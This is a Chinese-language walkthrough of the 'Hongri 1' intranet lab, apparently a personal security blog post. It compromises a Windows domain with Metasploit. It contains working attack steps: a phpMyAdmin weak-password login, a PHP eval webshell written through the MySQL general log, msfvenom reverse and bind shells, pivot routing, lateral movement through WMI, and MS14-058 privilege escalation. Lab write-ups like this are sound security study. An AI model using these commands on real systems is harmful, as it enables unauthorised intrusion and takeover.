hsadHsad
安全相关/靶场

红日靶场-1

本文导航按标题快速定位

题目环境

本次环境为红日 1 内网靶场。因为我自己攻击机是 Mac,本地不方便直接使用 Cobalt Strike也不想用虚拟机,所以全程使用 Metasploit 完成入口上线、路由转发、横向和本地提权。

整体拓扑在后续打点中确认如下:

攻击机:
10.8.0.6/192.168.111.25

入口机 STU1:
192.168.111.20
192.168.52.143
GOD\Administrator

域控:
192.168.52.138
owa.god.org

内网主机:
192.168.52.141
Windows Server 2003

最终在域控根目录读取到 flag:

d1f91b655118d4bd5d9f9e237d840e50

外网入口

先访问入口机 Web 服务,80 端口是 phpStudy 的探针页面。探针页面通常会泄露一些环境信息,这里主要关注网站根目录,后面写 WebShell 会用到:

C:\phpStudy\WWW

继续做目录枚举,可以发现 phpMyAdmin:

dirsearch -u http://192.168.111.20/ -x 403,404

访问:

http://192.168.111.20/phpmyadmin/

尝试弱口令登录:

root / root

成功进入 phpMyAdmin 后,尝试写 WebShell。先看 secure_file_priv

SHOW VARIABLES LIKE 'secure_file_priv';

这里如果值为 NULL,表示 MySQL 禁止 SELECT ... INTO OUTFILE 这类导入导出操作,不能直接用 into outfile 写马。

于是改用 general log 写文件。

先查看日志状态:

SHOW VARIABLES LIKE 'general_log';
SHOW VARIABLES LIKE 'general_log_file';
SHOW VARIABLES LIKE 'log_output';

开启 general log,并将日志输出到 Web 根目录:

SET GLOBAL log_output = 'FILE';
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';

随后执行一次 SELECT,SQL 语句本身会被记录到 general log 文件中,也就写入了 PHP 代码:

SELECT '<?php @eval($_POST["cmd"]);?>';

写入后可以关闭日志:

SET GLOBAL general_log = 'OFF';

访问 WebShell:

http://192.168.111.20/shell.php

参数为:

cmd

用蚁剑连接后可以执行命令,当前 Web 服务进程是 phpStudy/Apache,后续 payload 会继承它的用户上下文。

Meterpreter 上线

在攻击机生成 x64 meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.111.25 LPORT=8888 -f exe -o shell.exe

在 msf 中开启 handler:

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.111.25
set LPORT 8888
set ExitOnSession false
run -j

ExitOnSession false 用来保持 handler,不会接到一个 session 后自动退出。

通过 WebShell 将 shell.exe 上传到目标机,例如:

C:\Users\Public\shell.exe

然后在 WebShell 中执行:

C:\Users\Public\shell.exe

成功收到 meterpreter:

Meterpreter session 1 opened
Meterpreter session 2 opened

后续主要使用较稳定的 session 1

信息收集

先确认当前 session 所在机器、系统版本和权限:

sessions -i 1 -C sysinfo
sessions -i 1 -C getuid
sessions -i 1 -C getpid
sessions -i 1 -C ps

关键结果:

Computer        : STU1
OS              : Windows 7 (6.1 Build 7601, Service Pack 1)
Architecture    : x64
Domain          : GOD
Meterpreter     : x64/windows
Server username : GOD\Administrator

进程列表中可以看到 phpStudy 的 Apache 进程和触发的 payload 都运行在 GOD\Administrator 下:

httpd.exe      GOD\Administrator  C:\phpStudy\Apache\bin\httpd.exe
shell.exe      GOD\Administrator  C:\Users\Public\shell.exe

因此这里不是后续提权到域管,而是 Web 服务本身就以域管理员身份运行,payload 继承了该用户上下文。

为了让 session 稳定一些,先迁移进程:

sessions -i 1 -C 'run post/windows/manage/migrate'
sessions -i 1 -C getpid

迁移后 session 位于新启动的 notepad.exe 中。

发现内网

查看网卡和 ARP:

sessions -i 1 -C ipconfig
sessions -i 1 -c 'cmd.exe /c arp -a'

可以看到 STU1 存在双网卡:

192.168.111.20
192.168.52.143

ARP 中还发现两个内网地址:

192.168.52.138
192.168.52.141

说明 STU1 是进入 192.168.52.0/24 的跳板机。

添加路由

Mac 本机无法直接访问 192.168.52.0/24,需要让 Metasploit 通过 STU1 的 meterpreter 转发流量:

route add 192.168.52.0/24 1
route print

路由添加成功:

IPv4 Active Routing Table
=========================

Subnet          Netmask          Gateway
------          -------          -------
192.168.52.0    255.255.255.0    Session 1

内网端口探测

ARP 已经发现 .138.141,所以先扫这几个地址的常见端口:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138-192.168.52.141
set PORTS 80,88,135,139,389,443,445,3389,5985,3306,1433
set THREADS 16
run

结果:

.138 同时开放 88/389/445,基本可以按域控方向判断;.141 则是一台普通 Windows 内网主机。

再用 SMB 版本探测确认 .141

use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.52.138-192.168.52.141
set THREADS 8
run

其中 .141 返回:

Host is running Windows 2003 (build:3790)

确认域控

从 STU1 上执行域控枚举命令:

sessions -i 1 -c 'cmd.exe /c nltest /dclist:GOD'

返回:

owa.god.org [PDC] [DS]

结合端口扫描结果,可以确定:

192.168.52.138 = owa.god.org = 域控

也可以通过域控常见共享进一步确认:

sessions -i 1 -c 'cmd.exe /c dir \\192.168.52.138\SYSVOL'
sessions -i 1 -c 'cmd.exe /c dir \\192.168.52.138\NETLOGON'

读取域控 flag

当前 session 为 GOD\Administrator,先验证是否能访问域控管理共享:

sessions -i 1 -c 'cmd.exe /c dir \\192.168.52.138\c$'

可以列出域控 C 盘目录,并在根目录发现:

flag.txt

直接读取:

sessions -i 1 -c 'cmd.exe /c type \\192.168.52.138\c$\flag.txt'

成功拿到 flag:

d1f91b655118d4bd5d9f9e237d840e50

这里的关键点是当前已经拥有域管理员上下文,因此不需要重新打域控漏洞,直接通过管理共享读取文件即可。

横向到 192.168.52.141

为了验证横向能力,继续打 .141。由于内网主机不一定能直接反连攻击机,选择 bind_tcp,让 msf 通过已添加的路由主动连接目标。

生成 bind shell:

msfvenom -p windows/shell/bind_tcp LPORT=7778 -f exe -o redsun1-shell-bind-7778.exe

上传到 STU1:

sessions -i 1 -C 'upload /Users/hsad/Documents/Sec/Labs/redsun1-shell-bind-7778.exe C:\\Users\\Public\\rs1s7778.exe' -t 120

复制到 .141

sessions -i 1 -c 'cmd.exe /c copy C:\Users\Public\rs1s7778.exe \\192.168.52.141\c$\TEMP\rs1s7778.exe'

通过 WMI 启动:

sessions -i 1 -c 'cmd.exe /c wmic /node:192.168.52.141 process call create "C:\\TEMP\\rs1s7778.exe"' -t 60

连接 bind shell:

use exploit/multi/handler
set payload windows/shell/bind_tcp
set RHOST 192.168.52.141
set LPORT 7778
set ExitOnSession false
run -j

成功拿到:

Command shell session 3 opened

确认当前主机和权限:

sessions -i 3 -c "whoami"
sessions -i 3 -c "hostname"
sessions -i 3 -c "ipconfig"

结果:

god\administrator
root-tvi862ubeh
192.168.52.141

MS14-058 本地提权

STU1 是 Windows 7 SP1 x64,可以继续验证 MS14-058 本地提权。

查询模块:

search ms14_058
info exploit/windows/local/ms14_058_track_popup_menu

使用模块:

use exploit/windows/local/ms14_058_track_popup_menu
set SESSION 1
set TARGET 1
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.8.0.6
set LPORT 8899
check

其中:

SESSION 1  # 在 STU1 的 meterpreter 上执行本地提权
TARGET 1   # Windows x64

check 显示目标可利用:

The target appears to be vulnerable.

直接用 meterpreter payload 未回连,于是换成 exec 先验证漏洞是否成功执行 SYSTEM 权限命令:

set payload windows/x64/exec
set CMD "cmd.exe /c whoami /all > C:\\Users\\Public\\ms14058.txt"
run

读取结果:

sessions -i 1 -c 'cmd.exe /c type C:\Users\Public\ms14058.txt'

输出中出现:

nt authority\system
Mandatory Label\System Mandatory Level

说明 MS14-058 提权成功。

随后让提权模块执行已经验证可以回连的 payload:

set payload windows/x64/exec
set CMD "C:\\Users\\Public\\shell.exe"
run

成功拿到新的 SYSTEM meterpreter:

Meterpreter session 5 opened
NT AUTHORITY\SYSTEM @ STU1

确认:

sessions -i 5 -C getuid
sessions -i 5 -C sysinfo
sessions -i 5 -C getpid

迁移到稳定进程:

sessions -i 5 -C 'run post/windows/manage/migrate' -t 60

最终状态:

session 1 = GOD\Administrator @ STU1
session 5 = NT AUTHORITY\SYSTEM @ STU1

拿域控 flag 实际不依赖这一步,因为域管理员上下文已经可以访问 \\192.168.52.138\c$。MS14-058 主要用于补全入口机本机 SYSTEM 权限。